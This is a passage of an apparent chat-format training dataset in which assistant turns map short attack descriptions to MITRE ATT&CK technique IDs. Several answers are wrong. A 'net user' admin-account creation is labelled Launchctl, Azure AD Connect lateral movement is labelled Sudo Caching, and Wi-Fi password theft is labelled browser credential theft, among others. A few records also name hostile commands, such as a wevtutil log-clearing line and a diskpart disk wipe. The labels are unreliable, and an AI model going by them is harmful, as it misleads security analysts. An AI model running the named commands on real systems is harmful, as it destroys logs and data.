                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts cached domain credentials from the LSASS memory using the Windows Credential Guard bypass."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious module is imported via the PowerShell profile, causing execution of a PowerShell-based ransomware component."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool extracts saved Wi‑Fi network profiles and passwords from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the Terminal Services DLL (termsrv.dll) to inject a backdoor during RDP sessions."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hijacks an existing RDP connection by reusing the session token, thereby gaining privileged access to the remote system."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through continuous ICMP echo requests aimed at a specific process, the threat actor depletes system memory, causing the service to become unresponsive, characteristic of a Service Exhaustion Flood."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit script uses ptrace to manipulate a running process's memory, injecting a payload that escalates the attacker's privileges on the system."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries take over an expired domain previously owned by the target to serve malware payloads."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PubPrn, the attacker proxies script execution to run arbitrary commands on the target host."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the command 'rundll32.exe svchost.dll,EntryPoint' the threat actor runs arbitrary code without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltration is performed by appending encoded data to the C2's regular HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the technique of extra window memory injection to place malicious code in the memory space of a child window created by a trusted application."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool captures Kerberos service tickets during authentication and reuses them to access other services across the domain."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The installer includes a payload that launches `diskpart` to select the disk and clean all data."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries edit the system partition image of a Windows VM, embedding ransomware that activates upon boot."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware checks for virtualization artifacts like VMware tools before executing its main routine, a form of debugger evasion."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracted session tokens stored in browser storage and leveraged them to maintain access to the target application."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor employs a credential dump to obtain service account credentials, then runs Get-Recipient in PowerShell to enumerate mail-enabled accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During reconnaissance, the attacker uses the tool BloodHound to map out user account relationships in Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers breached a popular open‑source project's source code on GitHub, adding a hidden payload that is compiled into the binaries downloaded by downstream users."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group abuses the 'net user' command to add a new admin account to the domain."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the network provider DLL loading mechanism to intercept and rewrite authentication data."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a TLS downgrade attack by exploiting the POODLE vulnerability, forcing browsers to use SSL 3.0 and compromising encryption strength."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages legitimate web services like Google Docs to hide C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the ServiceDLL value of a driver service to load malicious code."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a systemd timer that triggers a network beaconing script daily, enabling long‑term command and control communication."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes DNS queries to a dynamically generated subdomain to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential-stealing tool hooks the GetMessage API to intercept messages containing user-entered data."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor removes persistence mechanisms by deleting startup folder shortcuts."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT28 employs a scheduled task to periodically send database dumps over an encrypted TLS channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host initiates outbound connections to an external IP on port 4433, a non-standard port for HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through TFTP, malicious code is loaded during the Pre‑OS boot process, allowing persistence before OS launch."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries invoke native system APIs such as CreateProcess and VirtualAlloc to run malicious code in memory."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses Wireshark to capture unencrypted HTTP traffic on a corporate LAN to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a trusted federated identity provider, the threat actor accesses corporate applications without direct authentication."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects meaningless network traffic and filler bytes into command and control communications to evade signature detection."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By installing a counterfeit shared library with the same name as a system library, adversaries achieve code execution under the context of the victim application."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a PowerShell script using the -EncodedCommand flag to hide its contents from casual inspection."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged a scheduled task that runs \"wevtutil cl Application, Security, System\" to periodically clear logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a supply chain compromise, the attacker injects malicious code that automatically generates valid SAML tokens for any user."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised script accesses \"/var/run/containerd/containerd.sock\" to list containers via containerd's API."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor registers a Windows scheduled task named ‘UpdateService’ that runs a base64‑encoded payload which sends keylogs to a remote host."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool updates the SID-History of a service account, allowing it to bypass ACLs."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑espionage group updates the endpoint protection agent's whitelist, allowing their tools to run unmonitored and blocking indicator generation."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals send a forged message from a known vendor urging users to click a link to update billing information, leading to a credential‑phishing webpage that captures their usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed malicious code in Outlook form regions to execute when a user opens a crafted email."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate database connection strings containing usernames and passwords from Java property files."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the Windows mshtml.exe component by opening a malicious compiled HTML file to execute its payload."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploads a custom backdoor binary to the victim's file system to use in later stages of the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script queries Active Directory for group memberships via LDAP to discover privileged groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leveraging Outlook's Form Region feature to load a malicious DLL each time the application launches."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious video file disguised as a training tutorial was uploaded to a corporate YouTube channel, exploiting a media player vulnerability on employee devices."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses the 'netsh interface ip show address' command to discover the external network interface and its assigned public IP."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses the \"shimcache\" registry key to insert a malicious DLL, causing the targeted application to load the payload each time it runs."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor drops a rogue binary in a user-writable directory that is checked before the system directory during program startup."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor crafts a spearphishing email with a link to a malicious PDF hosted on a compromised website, which exploits a sandbox escape."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker plants a malicious iframe on a popular site, causing a drive‑by infection that drops a cryptocurrency miner onto visitors' systems."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages Azure AD Connect sync to move laterally into cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a privilege escalation vulnerability in Windows, the adversary escalates from a limited user to SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a service account, the attacker generated a Silver Ticket to authenticate to a privileged service without contacting the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages Windows Management Instrumentation (WMI) to execute stealthy commands."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group purchases a subscription to a specialized threat intelligence feed that includes private vulnerability disclosures affecting the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool extracted stored email credentials from the victim’s browser saved passwords."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a fake Facebook profile with stolen photos to befriend employees and harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware harvests credentials stored in browsers like Chrome and Firefox."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leverages ListPlanting to inject a staged payload into the svchost.exe process, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion abuses the Outlook Web Access (OWA) interface to iteratively request messages and write them to a staging server."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a compromised third‑party SaaS vendor's privileged account to access the target organization's cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit the Windows DLL search order by adding a directory with malicious DLLs to the registry's App Paths, ensuring their code is loaded first."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable service, the attacker injects code that runs with the same privileges as the service process."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries accessed the KeePass database files on the victim machine and decrypted them to obtain passwords."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor re-issues a compromised SSL/TLS certificate to establish trusted connections."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary conducts masquerading by breaking the process lineage: it launches a fake service, then deletes the original process node, making the malicious code seem like part of the legitimate service chain."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses API calls to retrieve the titles of active GUI windows on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses compromised user credentials to access a SharePoint site and downloads sensitive documents."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacking group scanned the target's entire IPv4 address block to map out active endpoints for further attacks."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
